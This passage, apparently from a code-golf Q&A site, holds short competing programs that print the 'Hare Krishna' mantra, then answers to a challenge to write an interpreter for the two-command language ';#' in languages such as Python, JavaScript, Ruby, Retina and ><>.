hey, I'm new to this and it works. Another solution (~~84~~ 80 bytes): ``` h='Hare' k='Krishna' r='Rama' n='\n' print h,k,h,k,n+k,k,h,h,n+h,r,h,r,n+r,r,h,h ``` [Answer] ## C, 85 bytes ``` i;f(){for(i=0;printf("$0$0900$$9$*$*9**$$)"[i++]-36+"Hare \0Rama \0Krishna \0\n"););} ``` I would prefer a secular mantra, but I hope this is one of those peaceful religions. See it [work here](https://tio.run/nexus/c-gcc#@59pnaahWZ2WX6SRaWtgXVCUmVeSpqGkYqBiYGlgoKJiqaKlomWppaWioqkUnamtHatrbKat5JFYlKoQYxCUmJsIpLyLMosz8kCsmDwlTWtN69r/QFMUchMz8zQUyvIzUxQ0uaq5OIH2WHPV/gcA). This compacts a naive implementation by 23 bytes. [Answer] ## Perl, 67 bytes Inspired by this [JavaScript entry](/a/117846/8861). ``` $_='0101 1100 0202 2200 ';s/./qw'Hare Krishna Rama'[$&].$"/ge;print ``` ## Perl, 67 bytes ``` @_=<Hare Krishna Rama>;print"@_[split//]\n"for<0101 1100 0202 2200> ``` [Answer] # PowerShell, ~~73~~ ~~53~~ 52 Bytes absolutely demolished by [Jeff Freeman](https://codegolf.stackexchange.com/users/68634/jeff-freeman) - using an actual newline instead of `\n` saves another byte, and also saved one more on the array format. (from `(1,2)` to `,1,2`) -1 thanks to TesselatingHeckler, no comma in the array notation. ``` $a="Hare ";"Krishna ","Rama "|%{"$a$_$a$_ $_$_$a$a"} ``` My old answer - Tried a few other replace methods but all ended up being slightly longer somehow. ``` $a,$b,$c="Hare ","Krishna ","Rama ";"$a$b$a$b $b$b$a$a $a$c$a$c $c$c$a$a" ``` there are newlines in the string. pretty straightforward, uses the fact that powershell will expand variables within doublequotes, and a shorter method of assigning variables to save some bytes. [Answer] # Matlab ~~139 136~~ 105 bytes (thanks to @[2501](https://codegolf.stackexchange.com/users/67705/2501)) ``` fprintf('Hare Krishna Hare Krishna\nKrishna Krishna Hare Hare\nHare Rama Hare Rama\nRama Rama Hare Hare') ``` [Try it Online in Octave!](https://tio.run/nexus/octave#@59WUJSZV5Kmoe6RWJSq4F2UWZyRl6iAzInJg4miyIKImDwwMygxFyoIYsXkgfkIQRChrvn/PwA) [Answer] # MySQL, ~~115~~ 100 bytes (Thanks @manatwork!) ``` SELECT CONCAT(a,b,a,b,d,b,b,a,a,d,a,c,a,c,d,c,c,a,a)FROM(SELECT'Hare 'a,'Krishna 'b,'Rama 'c,'\n'd)t ``` [Answer] # R, ~~75~~ ~~85~~ 83 bytes ``` cat(x<-c("Hare ","Krishna ","\n")[c(1,2,1:3,2,2,1,1,3)],sub(x[2],"Rama ",x),sep="") ``` It creates a vector with `Hare` , `Krishna` , and the newline, takes the ones needed, and then repeats it replacing `Krishna` by `Rama` . Needed to include the space on every word and `sep=""` because otherwise `cat()` would put a space at the beginning of each line. [Answer] # [Husk](https://github.com/barbuz/Husk), 22 bytes ``` ṁSeÖ>m´+Πmw¶¨Hȧeȷ#,R□m ``` [Try it online!](https://tio.run/##ASkA1v9odXNr///huYFTZcOWPm3CtCvOoG13wrbCqEjIp2XItyMsUuKWoW3//w "Husk – Try It Online") I've worked for quite some time on this answer since I wanted to beat the "compressed number" algorithm of the current top answer by exploiting more of the regularities in the text. In the end I "only" managed to tie its score. I actually have in mind a couple of builtins for Husk that could easily save more bytes, but implementing them before posting this answer would have felt too much like cheating. ## Explanation Husk automatically prints a matrix of strings by joining them with spaces and newlines. In this case we are actually trying to build the matrix ``` [["Hare","Krishna","Hare","Krishna"], ["Krishna","Krishna","Hare","Hare"], ["Hare","Rama","Hare","Rama"], ["Rama","Rama","Hare","Hare"]] ``` which will implicitly get printed to StdOut as the required text. For simplicity, I will show each step of computation as if it was printed by a full program, joining strings with spaces and newlines. ### We need to work with "Hare" and ("Krishna" and "Rama"): `mw¶¨Hȧeȷ#,R□m` `¨Hȧeȷ#,R□m` is a compressed string; Husk has a dictionary containing common *n-grams* (sequences of characters) which are encoded with symbols possibly reminding of the original n-gram. For example, the `H` here is a plain "H", while `ȧe` is "are\n". The plaintext string this decodes to is "Hare\nKrishna Rama" (where `\n` is an actual newline). `¶` splits this string on the newline, and `mw` splits each line into words. The output we get up to here is: ``` Hare Krishna Rama ``` ### "Hare" should pair with both of the other words: `Π` Cartesian product of all the lines. This means that we pair each element of the first line with each element of the second line. Our result is: ``` Hare Krishna Hare Rama ``` ### The first and third lines are just those words repeated twice: `m´+` Concatenate each of the lines with itself. (`´` makes `+` use a single argument twice, and `m` maps this function to each line). We get: ``` Hare Krishna Hare Krishna Hare Rama Hare Rama ``` ### The other lines are the previous lines sorted in reverse alphabetical order: `ṁSeÖ>` This is not as weird as it looks. `Ö>` sorts a list in descending order. With `SeÖ>` we create a two-element list with the original argument before and after having been sorted. `ṁ` maps this function to each line, and concatenates the resulting lists. This is finally: ``` Hare Krishna Hare Krishna Krishna Krishna Hare Hare Hare Rama Hare Rama Rama Rama Hare Hare ``` [Answer] # Sed, 72 Score includes +1 for the `-r` flag. ``` s/^/Hari Krishna/ s/.*/& &/ s/(\S+)(.*)\b(.+)/&\n\3\2\1/p s/K\S+/Rama/g ``` [Try it online](https://tio.run/nexus/sed#@1@sH6fvkViUqeBdlFmckZeoz1Wsr6elr6agBmJpxARra2roaWnGJGnoaWvqq8XkxRjHGMUY6hcAZb2BsvpBibmJ@un////LLyjJzM8r/q9bBAA). [Answer] # [Ruby](https://www.ruby-lang.org/), ~~62~~ 61 bytes As I worked on this it eventually became almost identical to @xnor's Python answer, except Ruby doesn't have spaces between arguments in its `print` function, forcing me to use joins instead and resulting in a longer answer... -1 bytes from @manatwork ``` %w"Krishna Rama".map{|i|puts [h=:Hare,i]*2*' ',[i,i,h,h]*' '} ``` [Try it online!](https://tio.run/nexus/ruby#@69aruRdlFmckZeoEJSYm6ikl5tYUF2TWVNQWlKsEJ1ha@WRWJSqkxmrZaSlrqCuE52pk6mToZMRC@LV/v8PAA "Ruby – TIO Nexus") [Answer] # Bash, ~~93~~ 90 bytes ``` h="Hare " k="Krishna " r="Rama " s="$h$k$h$k\n$k$k$h$h\n$h$r$h$r\n$r$r$h$h" echo -e "${s}" ``` [Answer] # Pyth -- ~~45~~ 41 bytes ``` Ms(GHGHbHHGG)K"Hare "gK"Krishna "gK"Rama ``` [Try It](http://pyth.herokuapp.com/?code=Ms%28GHGHbHHGG%29K%22Hare+%22gK%22Krishna+%22gK%22Rama+&debug=0) [Answer] # [AHK](https://autohotkey.com/), ~~107~~ 92 bytes This feels ridiculous but I can't find a shorter means in AHK to do this: ``` h=Hare k=Krishna Send %h% %k% %h% %k%`n%k% %k% %h% %h%`n%h% Rama %h% Rama`nRama Rama %h% %h% ``` --- Here's what I tried first that was 107 bytes and tried to be fancy. As [Digital Trauma pointed out](https://codegolf.stackexchange.com/a/117842/117857#comment288559_117857), though, it would have been shorter to just send the raw text. ``` n=1212422114131343311 a=Hare |Krishna |Rama |`n StringSplit,s,a,| Loop,Parse,n r:=r s%A_LoopField% Send %r% ``` [StringSplit](https://autohotkey.com/docs/commands/StringSplit.htm) creates a pseudo-array with 1 as the first index. So the first term is referenced with `s1`, the second with `s2`, etc. Otherwise, there's nothing fancy here. [Answer] ## Batch, 75 bytes ``` @for %%h in (Krishna Rama)do @echo Hare %%h Hare %%h&echo %%h %%h Hare Hare ``` [Answer] # C 96 bytes ``` *v[]={"Hare ","Krishna ","Rama ","\n"}; main(){for(long a=0x30ae2305d10;a/=4;printf(v[a&3]));} ``` You only need two bits of information to figure out which word from the prayer is needed next, so instead of using a bunch of memory and encoding it as a string, you can just encode it as a 40 bit integer (i.e. inside a long int). [Answer] # ksh / bash / sh, 66 bytes ``` h=Hare;for j in Krishna Rama;do echo $h $j $h $j" "$j $j $h $h;done ``` [Answer] # [APL (Dyalog)](https://www.dyalog.com/), 47 bytes Requires `⎕IO←0` which is default on many systems. ``` ↑∊¨↓'Krishna ' 'Hare ' 'Rama '[(4⍴3)⊤8×4 1 5 2] ``` [Try it online!](https://tio.run/nexus/apl-dyalog#e9Q31dP/UdsEA65HHe1p/x@1TXzU0XVoxaO2yereRZnFGXmJCuoK6h6JRakgOigxF8iP1jB51LvFWPNR1xKLw9NNFAwVTBWMYv8DDfifBgA "APL (Dyalog Unicode) – TIO Nexus") `8×4 1 5 2` multiply; [32,8,40,16] `(4⍴3)⊤` convert to 4-digit base 3; matrix [[1,0,1,0],[0,0,1,1],[1,2,1,2],[2,2,1,1]] …`[`…`]` index `↓` split into list of lists `∊¨` enlist (flatten each) `↑` mix into matrix (padding with spaces) [Answer] # [Haskell](https://www.haskell.org/), ~~92~~ 91 bytes ``` g=mapM_ putStr$(!!)["Hare ","Krishna ","Rama ","\n"]<$>(read.(:[]))<$>"0101311003020232200" ``` Edit: removed concat, used mapM\_ for putStr instead [Try it online!](https://tio.run/##y0gszk7Nyfn/P902N7HAN16hoLQkuKRIRUNRUTNaySOxKFVBSUfJuyizOCMvEcQMSswF0zF5SrE2KnYaRamJKXoaVtGxmppArpKBoYGhsaGhgYGxgZGBkbGRkYGB0v/cxMw8BVuF9P8A "Haskell – Try It Online") [Answer] # Retina, 60 Direct port of [my sed answer](https://codegolf.stackexchange.com/a/117860/11259): ``` Hari Krishna .+ $0 $0 :`(\S+)(.*)\b(.+) $0¶$3$2$1 K\S+ Rama ``` [Try it online](https://tio.run/nexus/retina#@8/lkViUqeBdlFmckZfIpafNpWKgoGLAZZWgEROsramhp6UZk6Shp60JFD@0TcVYxUjFkMsbKMUVlJib@P8/AA). [Answer] # Java 7, ~~104~~ 103 bytes ``` String c(){return"xyxy\nyyxx\nxRama xRama\nRama Rama xx".replace("x","Hare ").replace("y","Krishna ");} ``` **Explanation:** ``` String c(){ // Method without parameters and String return-type return"xyxy\nyyxx\nxRama xRama\nRama Rama xx" // Return this String .replace("x","Hare ") // after we've replaced all "x" with "Hare " .replace("y","Krishna "); // and all "y" with "Krishna " } // End of method ``` [Try it here.](https://tio.run/nexus/java-openjdk#RY4xCsMwDEX3nEJ4sqH4ArlAoWRpxqaD6prWkCjBVlqZkLOnJhmq4evzpOG5HlOCZtlajoFe4LRZouc5kpIsuaOcRTqSKw4Ie3a09wOIstFPPTqvlaiTOmP0oMwf5gIvMaQ3YeH1ugFM86MPDhIjl/UZwxMGDKQPg9sd0CwVlGlzYj/YcWY7lRNr8l9otLFF0tTlZa3W7Qc) ]
[Question] [ I recently created a new language called `;#` (pronounced "Semicolon Hash") which only has two commands: `;` add one to the accumulator `#` modulo the accumulator by 127, convert to ASCII character and output **without** a newline. After this, reset the accumulator to 0. Yes, 127 is correct. Any other character is ignored. It has no effect on the accumulator and should do nothing. Your task is to create an interpreter for this powerful language! It should be either a full program or a function that will take a `;#` program as input and produce the correct output. ## Examples ``` Output: Hello, World! Program: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;# Output: ;# Program: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;# Output: 2 d{ Program: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;hafh;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;f;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;###ffh#h#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;ffea;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;aa;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#au###h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;o Output: Fizz Buzz output Program: link below Output: ! Program: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;# ``` [Fizz Buzz up to 100](https://pastebin.com/5dPxcsu2) [Answer] # [Python 3](https://docs.python.org/3/), ~~69~~ 68 bytes *-1 byte thanks to @WheatWizard* ``` i=0 for c in input(): i+=c==';' if'#'==c:print(end=chr(i%127));i=0 ``` [Try it online!](https://tio.run/nexus/python3#@59pa8CVll@kkKyQmQdEBaUlGppWXAqZ2rbJtrbq1upAZpq6srqtbbJVQVFmXolGal6KbXJGkUamqqGRuaamNdCA//@tqQSUrekB6GPLsLeMVPuUB8r1gzpURlMZuZYoAwA "Python 3 – TIO Nexus") [Answer] ## JavaScript (ES6), ~~76~~ ~~82~~ 80 bytes ``` s=>s.replace(/./g,c=>c=='#'?String.fromCharCode(a%(a=127)):(a+=(c==';'),''),a=0) ``` ### Demo ``` let f = s=>s.replace(/./g,c=>c=='#'?String.fromCharCode(a%(a=127)):(a+=(c==';'),''),a=0) console.log(JSON.stringify(f(";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#"))) console.log(JSON.stringify(f(";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#"))) console.log(JSON.stringify(f(";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;hafh;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;f;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;###ffh#h#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;ffea;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;aa;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#au###h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;o"))) console.log(JSON.stringify(f(";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;#"))) ``` ### Recursive version, ~~82~~ 77 bytes *Saved 5 bytes thanks to Neil* This one is likely to crash for large inputs such as the Fizz Buzz example. ``` f=([c,...s],a=0)=>c?c=='#'?String.fromCharCode(a%127)+f(s):f(s,a+(c==';')):"" ``` [Answer] # Java 8, 100 bytes ``` s->{int i=0;for(byte b:s.getBytes()){if(b==59)i++;if(b==35){System.out.print((char)(i%127));i=0;}}}; ``` [Try it online!](https://tio.run/nexus/java-openjdk#7ZpNS8NAFEX3/RUPByFDMfiBiMa60LUrl@IijUkdaZKSTAQp@e21Iu4EEWyTmTnZJCXJ3KHv3PveIqZc1Y2V1/QtjTtrlnHRVZk1dRXf1VXblXmTTLJl2rZyn5pqPRFZdfOlyaS1qd2e3mrzLOX2VvRgG1MtHp8k1Z@PiXwvcP1150YKmW3ao5u1qayY2XFS1E00f7e5zK/aeJHb2@11G2m9NkU0n83OL7WZTpOvH2fnev3w3tq8jOvOxqvtijaKspe00ZE5PDm90Dr5XLPv@2QjUsRpluUrGx0kfz3Uj5f7efuXFXd87E9ppNJqiPfH8EdQebwaSMX@o@iAE7bVCWlHKqewNoD89773LgiUIUrTZDzOkIE0SRLQZGAGGCzuT8WUA4JAGXiM0AA8jhMMDiZjlwXQEKVpO84MDGr8gmQIUDI5Qwv@Dtrfw8kCaOCRQjNwp3J8ewIju9j6EJqgGaI03cbvJBlOljwBUEZomMHlvlVMuaEJmoGHCW3A71DB45DihjKYhihN/3FpclBOaJIkoMksDTBYHIsPqwymgQcLLcGpyvGtCpjsaPcDyQJoiNK0He/zZFBlUgVMGarBBqP7WTHljCyABh4pNAPvowWbA4tL4sAaojSNyLERQrkiS54AKNM1zOByXD4ScWANPF5oDHuUPtDJRKSf9JsP) [Answer] # [Japt](https://github.com/ETHproductions/japt), 18 bytes ``` ®è'; %# d}'# ë ¯J ``` There's an unprintable \x7f char after `%#`. [Test it online!](http://ethproductions.github.io/japt/?v=1.4.4&code=rugnOyAlI38gZH0nIyDrIK9K&input=Ijs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Izs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7IyI=) ### How it works ``` ® è'; %# d}'# ë ¯ J mZ{Zè'; %127 d}'# ë s0,J // Implicit: operate on input string mZ{ }'# // Split the input at '#'s, and map each item Z to Zè'; // the number of semicolons in Z, %127 // mod 127, d // turned into a character. m '# // Rejoin the list on '#'. At this point the Hello, World! example // would be "H#e#l#l#o#,# #W#o#r#l#d#!#" plus an null byte. ë // Take every other character. Eliminates the unnecessary '#'s. ¯J // Slice off the trailing byte (could be anything if there are // semicolons after the last '#'). // Implicit: output result of last expression ``` [Answer] # [Retina](https://github.com/m-ender/retina), ~~336~~ ~~63~~ ~~67~~ ~~65~~ ~~66~~ ~~62~~ 59 bytes ``` T`;#-ÿ`¯_ ;{127}|;+$ (^|¯) ¯ +T`-~`_-`[^¯] T\`¯` ``` [Try it online!](https://tio.run/##7ZqxTgJREEXzpHu/MRYQsgU2FttRkNivDQo8CwsbC0IH4iftJ5isH7byASbGhN33ZuZQGAvxbJhz70zB/vXw9v7S902qJVTfXyl07S7Wx8Xd/cepnt/GON2eunYWQuzamzhvUqjOaTepPtPT9vK3mxCb59S1qe9XD@t1vXy8/PjnS379dZx3//EfB36NRyoULTneX8IHweTJqpOJXWPoiOM76pS0kskJ0UaQaz/36ECk9IhmyRjukExMmgQ1OZgRhojbmZgoACKl8xphARiuEwKOJqVjEdQjmrWj5mCQ8oF0CFJyOWML@Xad73xYBHVeKSwDPZPjuyc4MsSj52Cipkc028Z2k@TD0icIygmNM6Tc2sREBxM1nZcJa8B2qZBxTNFBRlOPaPaPpstBVDBpEtTklkYYIk7E85LR1HmxsBJUTY7vqqDJQE@fCYugHtGsHfN9kpVMq6ApRzXaEHSbExM1WAR1XiksA/PVQsyRRRMcWT2iWUTKTgjRgqVPEJTrGmdIOSkvBI6szuuFxTAi@gc "Retina – Try It Online") Readable version using *hypothetical* escape syntax: ``` T`;#\x01-ÿ`\x01¯_ ;{127}|;+$ (^|¯)\x01\x01 ¯\x02 +T`\x01-~`_\x03-\x7f`[^\x01¯]\x01 T\`¯` ``` Does not print NUL bytes, because TIO doesn't allow them in the source code. ~~Also prints an extra newline at the end, but I guess it can't do otherwise.~~ Trailing newline suppressed thanks to [@Leo](https://codegolf.stackexchange.com/users/62393/leo). -273 (!) bytes thanks to [@ETHproductions](https://codegolf.stackexchange.com/users/42545/ethproductions). -2 bytes thanks to [@ovs](https://codegolf.stackexchange.com/users/64121/ovs). -3 bytes thanks to [@Neil](https://codegolf.stackexchange.com/users/17602/neil). Check out their wonderful [34-byte solution](https://codegolf.stackexchange.com/a/122006/69074). [Answer] # Ruby, ~~41~~ ~~35~~ 34 characters (~~40~~ ~~34~~ 33 characters code + 1 character command line option) ``` gsub(/.*?#/){putc$&.count ?;%127} ``` Thanks to: * [Jordan](https://codegolf.stackexchange.com/users/11261/jordan) for suggesting to use `putc` to not need explicit conversion with `.chr` (6 characters) * [Kirill L.](https://codegolf.stackexchange.com/users/78274/kirill-l) for finding the unnecessary parenthesis (1 character) Sample run: ``` bash-4.4$ ruby -ne 'gsub(/.*?#/){putc$&.count ?;%127}' < '2d{.;#' | od -tad1 0000000 2 etb d nul nul nul nul { nul nul nul 50 23 100 0 0 0 0 123 0 0 0 0000013 ``` [Try it online!](https://tio.run/##KypNqvz/P724NElDX0/LXllfs7qgtCRZRU0vOb80r0TB3lrV0Mi89v9/ayoBZWt6APrYMuwtI9U@5YFy/aAOldFURq4lyv/yC0oy8/OK/@vmAQA "Ruby – Try It Online") [Answer] # [Python](https://docs.python.org/), 65 bytes This is a golf of [this](https://codegolf.stackexchange.com/a/121926/56656) earlier answer. ``` lambda t:''.join(chr(x.count(';')%127)for x in t.split('#')[:-1]) ``` [Try it online! Python2](https://tio.run/nexus/python2#S7ON@Z@TmJuUkqhQYqWurpeVn5mnkZxRpFGhl5xfmleioW6trqlqaGSumZZfpFChkJmnUKJXXJCTCZRRVteMttI1jNX8X1CUmVeikKahZE0loGxND0AfW4a9ZaTapzxQrh/UoTKaysi1RFlJ8z8A "Python 2 – TIO Nexus") [Try it online! Python3](https://tio.run/nexus/python3#S7ON@Z@TmJuUkqhQYqWurpeVn5mnkZxRpFGhl5xfmleioW6trqlqaGSumZZfpFChkJmnUKJXXJCTCZRRVteMttI1jNX8X1CUCVSapqFkTSWgbE0PQB9bhr1lpNqnPFCuH9ShMprKyLVEWUlT8z8A "Python 3 – TIO Nexus") ## Explanation This is a pretty straightforward answer we determine how many `;`s are between each `#` and print the `chr` mod 127. The only thing that might be a little bit strange is the `[:-1]`. We need to drop the last group because there will be no `#` after it. For example ``` ;;#;;;;#;;;;;#;;; ``` Will be split into ``` [';;',';;;;',';;;;;',';;;'] ``` But we don't want the last `;;;` because there is no `#` after it to print the value. [Answer] # [><>](https://esolangs.org/wiki/Fish), 35 bytes ``` >i:0(?;:'#'=?v';'=?0 ^ [0o%'␡'l~< ``` [Try it online!](https://tio.run/nexus/fish#@2@XaWWgYW9tpa6sbmtfpm4NJA244hQUFKIN8lXV69Vz6mz@/7ce5EAZAA "><> – TIO Nexus") Replace `␡` with 0x7F, `^?`, or "delete". ## Main loop ``` >i:0(?;:'#'=?v ^ < ``` This takes a character of input (`i`), checks if its less than zero i.e. EOF (`:0(`) and terminates the program if it is (`?;`). Otherwise, check if the input is equal to `#` (`:'#'=`). If it is, branch down and restart the loop (`?v` ... `^ ... <`). ## Counter logic ``` ';'=?0   ``` Check if the input is equal to `;` (`';'=`). If it is, push a `0`. Otherwise, do nothing. This restarts the main loop. ## Printing logic ``` > '#'=?v ^ [0o%'␡'l~< ``` When the input character is `#`, pop the input off the stack (`~`), get the number of members on the stack (`l`), push 127 (`'␡'`), and take the modulus (`%`). Then, output it as a character (`o`) and start a new stack (`[0`). This "zeroes" out the counter. Then, the loop restarts. [Answer] # Python 3, 69 Bytes Improved, thanks to @Wheat Wizard, @Uriel ``` print(''.join(chr(s.count(';')%127)for s in input().split('#')[:-1])) ``` [Answer] # [Röda](https://github.com/fergusq/roda), ~~44~~ ~~39~~ 38 bytes *5 bytes saved thanks to @fergusq* ``` {(_/`#`)|{|d|d~="[^;]",""chr #d%127}_} ``` [Try it online!](https://tio.run/##K8pPSfyfFvO/WiNeP0E5QbOmuialJqXOVik6zjpWSUdJKTmjSEE5RdXQyLw2vvZ/bmJmXjVXQWlOjkIiV2KdbQJXgk5CAld0YmxNGlftf2sESLSmBChb0wPQx5Zhbxmp9ikPlOsHdaiMpjJyLVEGAA "Röda – Try It Online") Anonymous function that takes the input from the stream. --- If other characters do not have to be ignored, I get this: ### [Röda](https://github.com/fergusq/roda), 20 bytes ``` {(_/`#`)|chr #_%127} ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 13 bytes ``` ṣ”#Ṗċ€”;%127Ọ ``` [Try it 